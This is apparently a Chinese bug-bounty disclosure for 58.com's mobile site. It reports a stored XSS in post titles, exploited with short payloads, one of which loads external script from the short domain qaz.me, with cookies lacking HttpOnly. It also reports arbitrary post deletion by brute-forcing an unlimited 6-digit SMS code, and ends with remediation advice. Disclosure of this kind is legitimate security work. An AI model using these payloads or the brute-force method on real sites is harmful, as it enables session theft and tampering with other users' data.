不说了 之前把精力全耗在主域上面 另外感谢parsec众基友的思路跟短域名
挖漏洞实在挖到太晚了 没精力写详细了 就这样写吧 忘谅解!看在这么努力挖洞的份上别走小厂商流程了把!
http://m.58.com/cs/cwzengsong/18047282901898x.shtml?refrom=wap
问题存在于发表一个帖子的标题处
这是截图。在pc端的网页上 标题也输出在了 meta 的content 里 但是由于25个字符的限制导致不能造成比较有影响力的漏洞(在这里耗费了很长的时间尝试去绕过)。。。
后来转念一想 不是还有m.58 的手机网页么 就访问下手机域名下的这个帖子
发现 标题有三处输出 其中一处被带入了 script 内。
测试一下发现 双引号未过滤 妥了 写代码。
看图:
代码如下:
<script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"【租房 买房 找工作 找服务就上手机58|m.58.com】"+alert(1)+" - 雨花宠物赠送/领养 - 长沙58同城","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize":"32"},"share":{}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script>
payload :"+alert(1)+" 花了12个字符
本想就此打住提交的 结果parsec群里的几个基友就开始说了 怎么不加载钩子什么的
(之前我稍微看了下没jquery 就放弃了 后来发现jquery 被改名了 改成jq了 然后我立马斗志就来了)
再加上索马里的海贼的短域名 qaz.me相助 就更加有信心了
于是再次构造payload 来加载js
最终payload: "+loadJS("//qaz.me")+" (22字符)
最终以22字符的payload 成功加载外部js
cookie 未做httponly
上张图:
另外一个就是任意手机号码的帖子删除
在这个界面可以查询手机号发了哪些帖子
选中其中一条删除 就会发送6为纯数字的验证码到手机上 又没对验证码做时间限制。也没对客户端所提交的验证码次数进行限制。
上图一张:
当提交的payload 为793196时就正确了 返回值为true 也确实删除了!
修复方案:
xss 修复的话 你们虽然限制了长度 可是你们引用的一些js 的类 库 可以当做我们的帮手。你直接去除了' 号 那么也过滤掉"号吧 还有一些危险的函数也过滤掉! 反正xss的修复方法那么多 也不差我这一个
任意帖子的删除的话,验证码设置有效时间。客户端所提交验证码次数应该有限